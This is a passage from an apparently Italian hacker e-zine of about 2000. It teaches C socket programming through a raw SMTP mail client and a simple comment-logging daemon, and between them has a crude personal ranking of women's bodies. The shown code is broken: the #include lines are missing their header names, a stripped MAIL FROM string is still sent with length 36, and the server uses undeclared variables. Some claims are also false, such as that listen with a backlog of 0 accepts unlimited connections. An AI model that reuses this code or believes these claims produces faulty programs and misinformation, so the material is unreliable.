crescenti di memoria). Le due funzioni che eseguono la conversione da host byte order a network byte order sono: htons(valore16bit); ----> per la conversione dei valori a 16 bit come la porta htonl(valore32bit); ----> per la conversione dei valori a 32 bit come l'ip dove: h = sta per host to = tradotto dall'inglese sta per "a" n = sta per network s = sta per short l = sta per long Le due funzioni che eseguono la conversione da network byte order a host byte order sono: ntohs(valore16bit); ----> per la conversione dei valori a 16 bit come la porta ntohl(valore32bit); ----> per la conversione dei valori a 32 bit come l'ip Più in là vedremo come alcune di queste funzioni vanno applicate al codice di rete. L'header da includere per utilizzarle è [ CONCETTI FINALI ... PAZIENTATE :) ] E' importante nella programmazione di un client convertire l'indirizzo IP del server da contattare, dalla forma primogenita ASCII in cui solitamente si trova a network byte order. Solitamente un client ci chiederà un qualcosa del genere quando viene eseguito: [xabino@xabino xabino]$./client Usare: client IPServer L'argv[1] rappresenta quindi l'indirizzo IP del server da contattare ed altri non sarebbe che una stringa di caratteri che deve essere convertita in network byte order per i motivi sopra esposti. In passato sono state molte le funzioni che hanno svolto questo ruolo o che addirittura permettevano la conversione di un indirizzo da network byte order ad indirizzo ASCII, alcune di queste hanno avuto dei problemi con taluni indirizzi come "inet_addr" che non riconosceva 255.255.255.255 come indirizzo valido. Io personalmente uso le funzioni "inet_pton" ed "inet_ntop" che sono compatibili sia con indirizzi di tipo IPv4 sia con indirizzi di tipo IPv6. Vediamone le caratteristiche: funzione inet_pton (p = presentation, to = a, n = numeric) Serve per convertire un indirizzo ASCII in network byte order int inet_pton(int family, const char *strptr, void *addrptr); Ritorna 1 se la conversione va a buon fine, 0 se la stringa ASCII da convertire non è in un formato valido (deve essere un IP), -1 se vi è un errore. funzione inet_ntop Serve per convertire un indirizzo da network byte order ad ASCII const char *inet_ntop(int family, const void *addrptr, char strptr, size_t len); Ritorna un puntatore al risultato se tutto è andato bene, o NULL su errore. Per entrambi le funzioni l'argomento family è simile al primo argomento della funzione socket, e può essere AF_INET per gli indirizzi IPv4 ed AF_INET6 per gli indirizzi IPv6. La funzione inet_pton cerca di convertire la stringa puntata da "strptr" immagazzinando il risultato binario attraverso il puntatore "addrptr"; inet_ntop fa il lavoro inverso. L'ultimo argomento di inet_ntop è len, e sarebbe la lunghezza del buffer di destinazione. Per usufruire di queste 2 funzioni bisogna allegare l'header [ ED ORA COMINCIAMO A PROGRAMMARE CAZZO ] Che cosa programmeremo quest'oggi? Merlinus dice che gli argomenti trattati dalla rivista dovrebbero essere correlati tra loro, ebbene: la cosa più semplice che qualsiasi lettore di questa rivista "CREDO" abbia potuto fare è mandare una e-mail di testo con il Telnet. Ok... Merlinus ha già spiegato come farlo nel primo numero di SS: vi collegate alla porta 25 di un server mail (mail.threepwood.mo) e digitate i seguenti comandi: HELO pippo MAIL FROM: RCPT TO: DATA Can I Play With Madness!! . QUIT Attraverso questo metodo arriverà a utente@threepwood.mo una mail senza oggetto da utente@dadovecazzovuoiscrivere.bo contente il messaggio "Can I Play With Madness!!". Il programma prova che faremo automatizzerà tutta questa procedura. Vediamo prima cosa fa: [xabino@xabino xabino]$ ./mandae-mail ./manda-email serverdiposta emailpersona Esempio: ./mandae-mail 192.168.0.1 xabino@xabino.xabaras.net Da ciò deduciamo che il programma come argv[1] richiede l'indirizzo IP del server di posta da contattare e come argv[2] l'indirizzo di posta a cui deve essere inviato il messaggio. Ok ponendo il caso che vogliamo utilizzare il nostro programma prova usufruendo del server mail.threepwood.mo (con indirizzo IP 1.2.3.4) e dell'e-mail utente@threewpood.mo dovremmo agire in questo modo: [xabino@xabino xabino]$ ./mandae-mail 1.2.3.4 utente@threepwood.mo Stringa ricevuta dal server su collegamento . . . (qui la stringa che il server di posta manda) Invio comandi al server in progress . . . Invio del comando HELO in progress . . . (stringa che si riceve dal server) invio del comando MAIL FROM in progress . . . (stringa che si riceve dal server) invio del comando RCPT TO in progress . . . (stringa che si riceve dal server) invio del comando DATA in progress . . . (stringa che si riceve dal server) invio del testo dell'e-mail in progress . . . Fine invio e-mail . . . (stringa che si riceve dal server) Ecco, se i parametri da voi specificati sono corretti questo è l'output che otterrete. Solitamente i client fanno la conversione dell'hostname quando viene fornito al posto dell'ip, ma questa è una cosa che magari vedremo nei prox articoli... ricordatevi che il seguente è un testo molto di base. Inoltre non aspettatevi che il programma funzioni se specificate come server di posta 1.4.5.6 (mail.pippo.it) e come utente di destinazione ciao@ciao.com; Sono ormai pochissimi i server che prestano forwarding quindi fate attenzione a non specificare un indirizzo postale il cui dominio sia diverso dal server di posta. Detto questo avventuriamoci nel codice sorgente del programma. [ CODICE SORGENTE ] Ok... questo è il ragionamento che dovrete fare ogniqualvolta vorrete programmare un client. Ho scelto questo tipo di client come prova perchè dentro ci stanno tutte le basi, da come ci si connette ad un socket, a come si ricevono o si mandano dati da/attraverso questo. La prima cosa che si fa quando si vuole programmare un client è pensare a quali file header allegare: abbiamo bisogno del supporto dei socket e vogliamo utilizzare le funzioni socket e connect quindi: #include dobbiamo specificare la porta e l'ip a cui connetterci quindi abbiamo bisogno di una struttura di indirizzo socket: #include abbiamo bisogno di fare convertire l'ip del server da stringa ASCII a binario quindi: #include Questi sono allora i file da includere per il nostro programma (attenzione gli -- delimitano la parte del programma di interesse e non devono essere incollati nel file che andrà compilato): -- #include /* standard input e output sempre utile :) */ #include /* supporto socket */ #include /* supporto struttura di ind. socket */ #include /* funzione inet_pton */ #include /* funzione bzero che vedremo dopo */ #include /* funzione close che vedremo dopo */ -- Talvolta non vi è nemmeno bisogno di allegare strings.h e unistd.h perchè le loro funzioni vengono definite altrove nei file di header già allegati, ma per evitare che scriviate ad SS lamentandovi che il prog non vi si compila allora inserisco tutto :) -- #define messaggio "Can I Play With Madness!!\r\n" -- Con #define definiamo che "messaggio" contiene la stringa "Can I Play With Madness!!" Questa stringa è quella che sarà inviata come testo dell'email, quindi se volete potete cambiare il valore tra virgolette a ciò che vi garba. Passiamo adesso alle variabili globali: -- struct sockaddr_in servaddr; int connettifd, conta; char risposta[1024]; -- Nella prima riga diciamo che la nostra struttura di indirizzo socket si chiamerà "servaddr". Nella seconda riga dichiariamo due variabili intere: "connettifd" che sarà il descrittore della chiamata alla funzione socket e "conta". Nella terza riga creiamo una variabile stringa di 1024 caratteri chiamata "risposta". -- int main(int argc, char **argv) { -- Bah credo che qui non ci sia bisogno di commenti (cosa siano l'argc e l'argv l'ho già spiegato in un precedente articolo pubblicato su SS1). -- if (argc != 3) { printf("Uso: %s serverdiposta emailpersona\n", argv[0]); printf("Esempio: %s 192.168.0.1 xabino@xabino.xabaras.net\n", argv[0]); exit(0); } -- Abbiamo visto prima quali siano i parametri da passare al programma: - nome del programma - ip del server di posta - indirizzo e-mail gli argomenti obbligatori sono 3 e quindi nel codice allegato sopra diciamo che se argc è diverso da 3 vengono stampate le direttive su come usare il programma; exit(0) termina l'esecuzione di questo. -- if ((connettifd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("errore nella creazione del socket"); exit(0); } -- Eccoci finalmente nella chiamata alla funzione socket. La famiglia di questo socket è AF_INET (un socket internet) il tipo è un SOCK_STREAM (usiamo uno stream di byte per comunicare con il server) e come protocollo abbiamo 0 (diciamo al kernel di scegliere il protocollo più appropriato, ed avendo nel secondo argomento della funzione socket "SOCK_STREAM" il protocollo implicato sarà il TCP). Come abbiamo detto prima nel caso in cui vi sia un errore questa funzione ritorna il valore -1 ed infatti per accertarci di ciò (perchè se vi fosse un errore qui tutte le altre chiamate alle altre funzioni fallirebbero) memorizziamo il valore ritornato da socket nel descrittore "connettifd" (che abbiamo visto essere un intero) e constatiamo che il suo valore non sia minore di 0 (se socket ritorna -1 si ha un errore come detto prima). Nel caso venga ritornato un descrittore negativo viene stampato su schermo: "errore nella creazione del socket" seguito dall'esplicito errore che ha causato l'aborto del programma e si esce totalmente da questo con exit(0). -- bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(25); -- Qui vediamo nella prima riga che utilizziamo la chiamata bzero. E' buona norma infatti azzerare tutte le strutture di indirizzo socket prima di utilizzarle e bzero fa ciò con "servaddr", azzerandolo per tutta la sua dimensione in byte "sizeof(servaddr)". Nella seconda riga specifichiamo che la famiglia della struttura dell'indirizzo socket è di tipo AF_INET e che la porta della struttura dell'indirizzo socket è la 25, la quale viene convertita da host byte order a network byte order dalla funzione htons. Di importante qui da capire c'è che il membro sin_family della struttura dell'indirizzo socket servaddr punta alla famiglia della connessione, mentre il membro sin_port viene utilizzato per specificare la porta del server a cui ci si deve collegare. -- if (inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0) { perror("inet_pton errore"); exit(0); } -- Ecco che qui subentra la funzione inet_pton. Come potete ben notare il secondo argomento alla funzione è argv[1] che punta ad un indirizzo IP di tipo stringa fornito attraverso la linea di comando. Il risultato binario di argv[1] viene contenuto dal membro sin_addr della struttura dell'indirizzo socket servaddr. Possiamo quindi dire che per un client i 3 membri più importanti di una struttura di indirizzo socket sono: - sin_family --> specifica il tipo di famiglia della struttura - sin_port --> specifica la porta della struttura a cui collegarsi - sin_addr --> specifica l'indirizzo della struttura a cui collegarsi Notiamo anche che se il risultato della chiamata ad inet_pton è minore o uguale a 0, il programma abortirebbe con il messaggio di errore "inet_pton errore" seguito da una descrizione dettagliata di questo. Ricordiamo come abbiamo detto prima che affinchè la chiamata ad inet_pton sia valida c'è bisogno che il valore ritornato da essa sia 1. Provate a specificare come indirizzo IP un valore strambo o inesistente, vedrete che arrivati alla funzione inet_pton la chiamata fallirà ed il programma verrà interrotto. -- if (connect(connettifd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { perror("errore di connessione"); exit(0); } -- E finalmente giungiamo alla funzione connect. Dopo aver specificato tutti i dati della connessione più importanti quale porta ed IP a cui connetterci possiamo finalmente invocarla. Come primo argomento abbiamo il descrittore ritornato dalla funzione socket (connettifd), in quanto è attraverso quel socket che verranno inviati e ricevuti dati nel caso in cui la connessione vada a buon fine. Come secondo argomento abbiamo il puntatore generico alla struttura di indirizzo socket "servaddr" che come detto prima contiene tutti i dati vitali della connessione, ed infine come terzo argomento passiamo la dimensione totale di questa struttura. Se il tutto ritorna un valore minore di 0 viene stampato su schermo "errore di connessione" seguito dall'errore esplicito, ed exit(0) fa terminare il programma. La connessione andrà a buon fine se il 3 Way HandShake verrà completato, quindi il valore ritornato sarà 0. Se questo concetto l'avrete ben capito sarete già in grado di scrivervi dei portscanner che a seconda del valore ritornato dalla funzione connect vi dicano se delle determinate porte di un host sono aperte o chiuse, e nel caso siano aperte potreste farvi stampare su schermo o su file la stringa ricevuta dal server (attraverso la funzione recv che vedremo dopo). -- mandaemail(argv[2]); exit(0); } -- Se la connessione è avvenuta passiamo argv[2] (che contiene l'indirizzo postale della persona a cui dobbiamo scrivere) alla procedura mandaemail creata da noi. Quando tutte le operazioni di questa procedura saranno state effettuate il controllo tornerà ad exit(0) ed il programma terminerà completamente. Ma vediamo cosa fa di preciso la nostra procedura mandaemail: -- mandaemail(char *argv) { printf("Stringa ricevuta dal server su collegamento . . .\n"); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n",risposta); -- Allora come prima cosa vediamo che il valore passato dalla chiamata alla procedura mandaemail (cioè argv[2]) viene identificato come un puntatore di caratteri chiamato argv, dalla procedura stessa. La seconda riga di questa procedura stampa su schermo "Stringa ricevuta dal server su collegamento . . ." (da questo momento in poi i printf non saranno più commentati da me perchè penso che abbiate capito benissimo il loro funzionamento). A questo punto utilizziamo la funzione recv per ottenere dati dal server. Se infatti vi telnettate alla porta 25 di un server mail vi apparirà una stringa che identifica la versione del servizio, il nome, la data e qualche altra informazione opzionale. Il programma di prova che ho allegato arrivato a questo punto non fa altro che visualizzare questa stringa ricevendola prima tramite "recv" e visualizzandola dopo sullo schermo attraverso printf. Il primo argomento passato a recv è il descrittore socket attraverso cui fluiscono tutti i dati e che è stato creato dalla funzione "socket" e connesso dalla funzione "connect". "risposta" è invece il buffer di ricezione in cui sarà immagazzinata la stringa inviataci dal server e come abbiamo visto dalle variabili globali è stata dichiarata come "char risposta[1024]", quindi al massimo può contenere 1024 caratteri = 1024 byte. Il terzo argomento alla funzione è la dimensione totale della variabile risposta calcolata attraverso "sizeof(risposta)". Il quarto argomento è solitamente uno 0. Come detto poc'anzi, il valore contenuto in risposta viene visualizzato su schermo attraverso il printf. Andiamo avanti. -- for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); -- Le prime 4 righe servono per azzerare il valore contenuto da "risposta", dato che questo buffer dovrà essere riutilizzato per contenere altre stringhe che il server ci invia man mano che noi gli diamo i comandi per mandare avanti la transazione SMTP. Precisamente utilizziamo un ciclo for, avvalendoci del valore intero conta (che è stato dichiarato tra le variabili globali), che inizialmente viene settato a 0 e che man mano che "risposta[conta]" viene uguagliato al valore di NULL '\0' (che sta per vuoto), viene fatto arrivare a 1023. Da 0 a 1023 abbiamo azzerato totalmente il buffer "risposta" in modo da poterlo utilizzare nuovamente; Ok non mi fucilate, avrei potuto utilizzare memset o bzero... sleep(3) blocca il programma per 3 secondi prima di poter andare avanti nell'esecuzione delle altre righe di codice. Facciamo ciò per non farlo andare velocemente avanti nell'esecuzione delle stringhe di codice successive e per creare un pò di suspence :D -- printf("Invio comandi al server in progress . . .\n"); sleep(5); printf("Invio del comando HELO in progress . . .\n"); send(connettifd, "HELO pippo\r\n", 12, 0); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n",risposta); -- Qui di interessante abbiamo solamente la riga 5 con la funzione send. Attraverso il descrittore connettifd (primo argomento a send) mandiamo la stringa "HELO pippo\r\n" (con \r\n che indicano i 2 caratteri speciali ritorno a carrello e fine riga), ed esattamente nel terzo argomento specifichiamo la lunghezza in caratteri di questa stringa (vale a dire 12...se non vi fidate contate). Il quarto argomento alla funzione send come al solito è 0. -- for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); printf("invio del comando MAIL FROM in progress . . .\n"); send(connettifd, "MAIL FROM:\r\n", 36, 0); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n", risposta); for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); printf("invio del comando RCPT TO in progress . . .\n"); send(connettifd, "RCPT TO:<", 9, 0); send(connettifd, argv, strlen(argv), 0); send(connettifd, ">\r\n", 3, 0); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n", risposta); -- Qui non c'è niente di nuovo fino a dopo printf("invio del comando RCPT TO in progress . . .\n"); Mandiamo con il primo send al descrittore connettifd la stringa "RCPT TO:<" senza \r\n; poi nel secondo send mandiamo la stringa contenuta da argv (che conterrà l'indirizzo postale della persona a cui si vuole scrivere) per tutta la sua lunghezza "strlen(argv)". Ed infine nel terzo ed ultimo send mandiamo il carattere ">" seguito da un INVIO "\r\n". Questo non fa altro che inviare al server la stringa intera: RCPT TO:\r\n Ok ok chiedo scusa ai più esperti.. avrei potuto dichiarare un'altra variabile buffer di tot byte ed utilizzare uno "sprintf" per incollargli tutta la stringa.. allo stesso modo avrei potuto usufruire di uno strcat ma facciamo capire alle persone una cosa per volta diamine :)) Qui abbiamo inoltre compreso un'altra cosa importante: - se passiamo come secondo argomento alla funzione "recv" una variabile, il terzo argomento sarà un "sizeof" di quella variabile. - se passiamo come secondo argomento alla funzione "send" una variabile, il terzo argomento sarà un "strlen" di quella variabile. La differenza tra sizeof ed strlen è che la prima ritorna la dimensione totale della variabile in byte, mentre la seconda ritorna la dimensione totale della variabile in numero di caratteri. -- for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); printf("invio del comando DATA in progress . . .\n"); send(connettifd, "DATA\r\n", 6, 0); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n", risposta); for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); printf("invio del testo dell'e-mail in progress . . .\n"); send(connettifd, messaggio, strlen(messaggio), 0); printf("\r\n"); sleep(3); printf("Fine invio e-mail . . .\n"); send(connettifd, ".\r\n", 3, 0); recv(connettifd, risposta, sizeof(risposta), 0); printf("%s\r\n", risposta); for (conta=0; conta < 1024; conta++) { risposta[conta] = '\0'; } sleep(3); close(connettifd); } -- Così finisce il programma. L'ultima cosa di interesse qui è proprio la penultima riga di codice che effettua una chiamata a close passando come argomento il descrittore creato inizialmente dalla funzione "socket". Questa chiamata non fa altro che terminare la connessione tra client e server cominciando con l'invio del FIN al server e poi...beh poi lo sapete come va a finire ;) Beh a questo punto posso solo dirvi di incollare il contenuto del programma su un file e di compilarlo come al solito: [xabino@xabino xabino]$ gcc mandae-mail.c -o mandae-mail e per eseguirlo essendo nella cartella dove lo avete compilato: [xabino@xabino xabino]$ ./mandae-mail Ripeto, non prendetelo come esempio di programmazione... ma usatelo e cominciate a modificarlo in modo da personalizzarlo ed entrare un pò nell'ottica della programmazione di rete. Con questo vi saluto e byez byez a tuttiiiii :) Spunti: Unix Network Programming Vol I W.R. Stevens ATTENZIONE!!! ATTENZIONE!!! Dopo che per 1 anno ed 8 mesi è stata in vetta alla mia classifica delle donne preferite la situazione cambia: Megan Gale scende nella HIT SBUAZZ di questo mese. Ekko l'aggiornamento del 29 Dicembre 2000: 1) Emanuela Arcuri :---> prima per porcaggine...ma non penso che rimarrà in vetta a lungo 2) Megan Gale :---> se non avessi visto il tuo seno nel calendario di Max saresti ancora prima... hai le minne un pò secche e disidratate perchè?? PERCHEEEEEEEE???!!?? 3) Stefania Orlando :---> New Entry... mi ricordi tanto una mia ex da una tua parte del corpo ( non siate volgari e non pensate male :) anche se a livello di cuoio capelluto siete totalmente differenti :) 4) Alessia Mancini & Maddalena Corvaglia :---> Le metto alla pari perchè mi piacciono davvero tanto :) Nella classifica delle donne (o ragazzine ?? ;) italiane che mi piacciono di più sarebbero entrambi al secondo posto. Dato che tutte queste belle personcine probabilmente nell'arco della mia vita non le conoscerò mai (o forse le conoscerò quando saranno vecchie decrepite) mi contento delle ragazze della vita reale... che poi ce ne stanno anche alcune più interessanti delle fotomodelle (caso raro ma vi assicuro che ci stanno :) Per questo motivo tiro in ballo: 5) Sandra XXXXX :---> naaaaa il cognome non ve lo dico ...... e basta!!! Che?? Una è troppo poca per uno sbuazzato come me? Ok ce ne sarebbe anche un'altra con cui mi frequento ma siccome è moooolto probabile che riesca a leggere i miei articoli non la menzionerò e la terrò nel dubbio... no porco il clero non sei tu Agata!! Finez :) P.S. Quella persona che non volevo menzionare adesso sa di essere lei perchè è stata baciate e.... ehm il resto ve lo lascio immaginare :) ArE YoU ReAdY To DiE?? ____________________________________________________________________________ / Marm /| +===========================================================================+ | | | | | [ La programmazione "dal lato server" in C ] | | | ---------------------------------------- | / +===========================================================================+/ Eccoci! Armatevi di buona volontà che in questo articoletto proverò a farvi vedere come si scrivere un demone, un server. Innanzitutto vi premetto che dò gia per scontato che sappiate cosa sia un demone e soprattutto che abbiate delle discrete basi sulla programmazione in C perche è questo il linguaggio che userò. Sinceramente non è il classico tutorial del tipo "Vi insegnerò a programmare un demone", perche non mi va di spiegare eheh, quello che faccio è mostrare il codice di un sorgente codato da me e commentarlo abbondantemente, sperando che vi possa essere utile. Il programma che vi mostrerò è semplicetto, si mette in ascolto della porta 200 e quando gli arrivano connessioni chiede di lasciare un commento e poi logga tutto in un file con questo formato: IP del client Commento lasciato. okky cominciamo!!!!! #include #include #include #include #include #include -- Includiamo un pò di header, dove sono definite le costanti, le macro e le funzioni di cui abbiamo bisogno. main() { int sock, conn; struct sockaddr_in server, client; char *messaggio = "Lasciare commento: ", commento[256]; socklen_t len; pid_t pid; FILE *fp; -- sockaddr_in e'una struttura definita in vediamo quali sono i suoi campi sa_family_t sin_family in_port_t sin_port struct in_addr sin_addr campo di nome syn_family di tipo sa_family_t, sa_family_t?!?! calmi! andando a spulciare un po qua e la i file header troviamo questa piccola riga di codice: typedef unsigned short int sa_family_t; ta tan! cmq questo campo sta a rappresentare il tipo di indirizzi con cui lavoreremo.Il campo sin_port è di tipo in_port_t che corrisponde ad un uint16_t ovvero ad un unsigned int a 16 bit.(infatti le porte vanno dalla 1 alla 65536). Questo campo stabilisce il numero di porta alla quale ci si vuole connettere o alla quale (nel nostro caso)si vuol far rimanere il nostro server in ascolto. il campo sin_addr richiede un po piu di impegno :), è una struttura in_addr quindi andiamo un po a vedere cosa cacchio è 'sta struttura in_addr: struct in_addr { uint32_t s_addr; }; un solo campo, s_addr, ed è un unsigned int a 32 bit. indovinate cosa ci va messo in questo campo? :=)) naturalmente l'indirizzo IP, in formato numerico si intende. è appunto un unsigned int a 32 bit, infatti come sappiamo l'ip di una macchina che usa ipv4 sono 4 membri da 1 byte, facendo i conti 4 membri da 8 bit.. e facendo 8 * 4 = 32! poi di strano abbiamo solo socklen_t len; pid_t pid; sono variabili del tipo specificato, il loro significato si capirà meglio in seguito continuiamo con il nostro codice riempiamo la struttura sockaddr_in. server.sin_family = AF_INET; server.sin_port = htons(200); server.sin_addr.s_addr = htonl(INADDR_ANY); il campo sin_family lo riempiamo con la costante AF_INET che dovrebbe equivalere a 2 se non sbaglio, comunque sia sta a significare che utilizzeremo indirizzi IP di ipv4, (es 212.216.34.44 etc), potremmo invece usare indirizzi IP di ipv6 e in quel caso avremmo dovuto utilizzare la constante AF_INET6 (mi pare 10 boh! eheh is not so important) e ora... server.sin_port = htons(200); wow! e htons?!?! ok ora, dobbiamo fare un bel discorsetto! (abbastanza palloso) comunque sia, dovete sapere che esistono 2 modi con cui rappresentare gli interi in memoria, la notazione big endian, e little endian. Gli interi su un personal computer che monta un processore Intel sono organizzati in notazione little endian, ovvero dal meno al più significativo, avendo cosi all'indirizzo iniziale di memoria i bit bassi, in altri processori(es. lo sparc) abbiamo un organizzazione big endian (che tral'altro è la notazione naturale) quindi dal più al meno significativo. In internet lo standard vuole un organizzazione big endian dei valori numerici perciò ci servono funzioni come htons per convertire un unsigned int a 16 bit nel giusto formato, e htonl per gli unsigned int a 32 bit. detto questo.. torniamo a noi. quindi useremo la porta 200, server.sin_addr.s_addr = htonl(INADDR_ANY); nelle occasioni in cui dovremmo usare i socket dal lato client in questo campo ci si dovrebbe mettere l'indirizzo IP, nei modi che non vedremo in questo articolo. Quando lavoriamo dal lato server questo campo lo settiamo con la costante INADDR_ANY che andando a curiosare scopriamo in questa linea: #define INADDR_ANY ((uint32_t) 0x00000000) ma dai! e infatti sinceramente la funzione htonl() usata per questa costante è poi insignificante perche riordinare i bit di 0 non ha senso. pensateci su. e ora... creiamo il nostro socket!!! sock = socket(AF_INET, SOCK_STREAM, 0); mmh socket? mah vediamo cosa ci dice il manuale.. allora man cervello man man man socket int socket(int domain, int type, int protocol); ecco il prototipo della funzione socket, prende 3 parametri, il 1 è il tipo di indirizzi con cui il socket dovrà lavorare gia spiegato!, il 2 è il "modo di comunicazione" per cui abbiamo SOCK_STREAM a flussi, per comunicazione classiche col protocollo TCP SOCK_DGRAM a datagrammi, per comunicazione col protocollo UDP SOCK_RAW speciale tipo di socket per il quale è il programma stesso a costruire il pacchetto che viaggerà nella rete. l'ultimo parametro è il protocollo usato, settando a 0 è il programma che decide quello appropriato la funzione ritorna -1 se si è verificato un errore, mentre se tutto andato a buon fine ritorna un handler al socket, un descrittore, cosi che la nostra variabile sock ora sarebbe il nostro descrittore che identifica il socket nel programma. continuiamo... bind(sock, (struct sockaddr *)&server, sizeof(server)); con la funzine bind noi "informiamo" il kernel delle specifiche del nostro socket cosicche quando arriva un pacchetto per la porta che abbiamo deciso, il kernel forwarda il tutto al nostro socket, al nostro processo. "forwarda il tutto" e' sbagliato perche passa solo il data e non i vari header IP/TCP|UDP. analizziamo il prototipo di questa funzione int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen); il primo parametro è il nostro socket, e ci schiaffiamo sock! come secondo parametro questa funzione accetta l'indirizzo di una struttura struct sockaddr, che sarebbe la struttura di un socket generico, ma noi non abbiamo una struttura sockaddr, abbiamo una struttura sockaddr_in, che cmq ha "compatibilità", e basta solo un po giocare con il type casting, (se non hai idea di cosa sia il type casting.. learn the ANSI C!!). in questo modo. (struct sockaddr *)&nostrastruttura e gli passiamo il puntatore alla struttura. l'ultimo parametro della funzione è la dimensione di questa struttura, e ci viene in aiuto l'operatore sizeof. la funzione ritorna -1 se si è verificato un errore e 0 se è andato tutto a buon fine. Continuiamo... listen(sock, 0); con la funzione listen, noi mettiamo il nostro socket in ascolto. questa funzione prende 2 parametri, il primo che è il nostro handler e il secondo che è il numero massimo di connessioni che il socket puo gestire, se settiamo questo parametro a 0 vuol dire che accetta infinite connessioni. la funzione ritorna -1 se si è verificato un errore e 0 se è andato tutto a buon fine. continuiamo.. while(1) { accfd = accept(sockfd, (struct sockaddr *)&client, &len); if ( (pid = fork() ) == 0 ) { close(sockfd); send(accfd, messaggio, strlen(messaggio), 0); ... okky fermiamoci qui, ecco un altra funzione, accept(). è con questa funzione che noi accettiamo le connessioni che i client richiedono analizziamola: int accept(int s, struct sockaddr *addr, socklen_t *addrlen); il primo parametro è il nostro solito descrittore restituito dalla socket(), il secondo parametro è una struttura sockaddr. non dobbiamo passargli la nostra struttura server bensì una nuova struttura, in quanto questo parametro è passato per riferimento e e sarà la funzione a riempire questa struttura con i dati relativi al nostro client quindi.. indirizzo ip, porta, etc. infatti passiamo la struttura client dichiarata all'inizio. Anche l'ultimo parametro è un passaggio per riferimento e la funzione modificherà il valore di questo parametro mettendoci la lunghezza della struttura sockaddr che ha scritto.Anche in questo caso, avendo noi una struttura sockaddr_in e non sockaddr, dobbiamo utilizzare il type casting. la funzione ritorna -1 se si è verificato un errore, altrimenti ritorna un descrittore per l'accepted socket, ed è con quello che noi potremmo interagire col client. pid = fork() ora viene una parte molto importante che va capita bene. la funzione fork() crea un processo figlio, cosicche.. il figlio gestirà la connessione con il client, ed il padre resterà in ascolto delle nuove connessioni. a dire il vero la gestione dei processi figlio di questo programma è veramente moooolto grossolana e fa schifo eheh. in realta si dovrebbe gestire il segnale SIGCHLD che ritorna quando il figlio ha terminato la sua esecuzione. (signal handling rulez!!) send(accfd, messaggio, strlen(messaggio), 0); indovinate un po cosa fa la funzione send? :)) con questa funzione mandiamo il nostro messaggio Lasciare commento al client. i suoi parametri sono: il descrittore dell'accepted socket, la stringa, la lunghezza della stringa e l'ultimo campo sarebbe una flag che va settata a 0 in questo caso perche non ci serve a nulla la funzione send ritorna -1 se si è verificato un errore o, se tutto è andato a buon fine il numero di caratteri sendati. continuiamo.. bzero(commento, 256); recv(accfd, commento, 256, 0); con la funzione bzero() noi settiamo nel byte corrispondente all'indirizzo di memoria puntato da commento e per i successivi 256, il valore 0. avremmo avuto lo stesso effetto facendo memset(commento, 0, 256); la funzione bzero non ritorna alcun valore. con la funzione recv, noi siamo in grado di leggere cio che l'utente connesso al nostro server ci scrive. e con quella funzione noi prendiamo massimo 256 caratteri di quello che ci senda e mettiamo tutto in commento. cosicchè ora commento contiene la stringa che il client ci ha mandato. ma quale era il nostro scopo? aaah gia.. prendere il commento e mettere tutto su un file con scritto IndirizzoIP commento_lasciato ok! ma abbiamo tutto quello che ci serve?! mmh allora il commento_lasciato è la stringa che il nostro programma chiama commento. l'indirizzo IP?! se vi state dicendo: "seeeee e quello come facciamo a prenderlo?!" eheh non siete stati molto attenti :)), quando ho parlato della funzione accept ho detto ho detto che il parametro della struttura sockaddr è passato per riferimento e che la funzione riempiva questa struttura con le caratteristiche del client. Quindi... abbiamo tutto! quindi cominciamo. fp = fopen("/directory/subdir/commenti", "aw"); fprintf(fp, "%s\t%s\n", inet_ntoa(client.sin_addr), commento); send(accfd, "Fatto!\n", strlen("Fatto!\n"), 0); close(accfd); exit(0); } close(accfd); } } nulla di nuovo, solo quel inet_ntoa(client.sin_addr) che ora vi spiego. il prototipo della funzione inet_ntoa è questo : char *inet_ntoa(struct in_addr in); allora....... restituisce una stringa. ed infatti sulla fprintf() noi abbiamo "%s....". poi vediamo che prende come parametro una struttura in_addr, che abbiamo gia analizzato e noi, la struttura in_addr ce l'abbiamo internamente alla struttura sockaddr_in del nostro client. il campo sin_addr... struct in_addr sin_addr. in questo campo(riempito dalla accept e non da noi) cè un unsigned int a 32 bit che corrisponderebbe all'indirizzo ip del client. cosi com'e' ci serve a poco, ma la funzione inet_ntoa prende questo oggetto e ti ritorna una stringa con il corrispondente indirizzo ip. (es. "212.216.45.43"). PROVIAMOOOOOOOOOOOO!!!! compiliamo e lanciamo il demone. mmh che porta era? aah 200! un altra precisazione! quando volete creare dei server dovete ricordarvi che le porte sotto la 1024 possono essere utilizzate solo da root. :) ho lanciato il mio demone da root e ora vediamo! [root@localhost /root]# telnet localhost 200 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. Lasciare commento: ciao come ti va? Fatto! Connection closed by foreign host. [root@localhost /root]# beh.. sembra tutto ok.. vediamo se il file commenti è stato modificato. [root@localhost /root]# cat commenti 127.0.0.1 ciao come ti va? [root@localhost /root]# :)))))) bene!!!!! per sicurezza ho fatto provare anche ad un mio amico ed ecco il risultato [root@localhost /root]# cat commenti 127.0.0.1 ciao come ti va? 62.11.103.226 wellaaaaaaaaaaa tutto ok! il nostro demone funziona benone anche se ha una gestione dei processi figlio abbominevole. Un altra precisazione è che quando costruite server in questo modo non avete compatibilità con il client telnet di windows, perche fa schifo. no no, non fa schifo il nostro demone, fa schifo il telnet default di windows perche a differenza degli altri client che prende tutti i caratteri digitati dall'utente e li schiaffa in un buffer temporaneo per poi mandare il tutto, il telnet di winzozz manda ogni carattere uno per uno mandando anche il carattere \r o \n non ricordo.. e fa schifo. Un mio amico un giorno aveva scritto anche un articolo su questa cosa, vabeh. Un altra precisazione da fare è che non binda se si tenta di creare un demone ad una porta che gia è 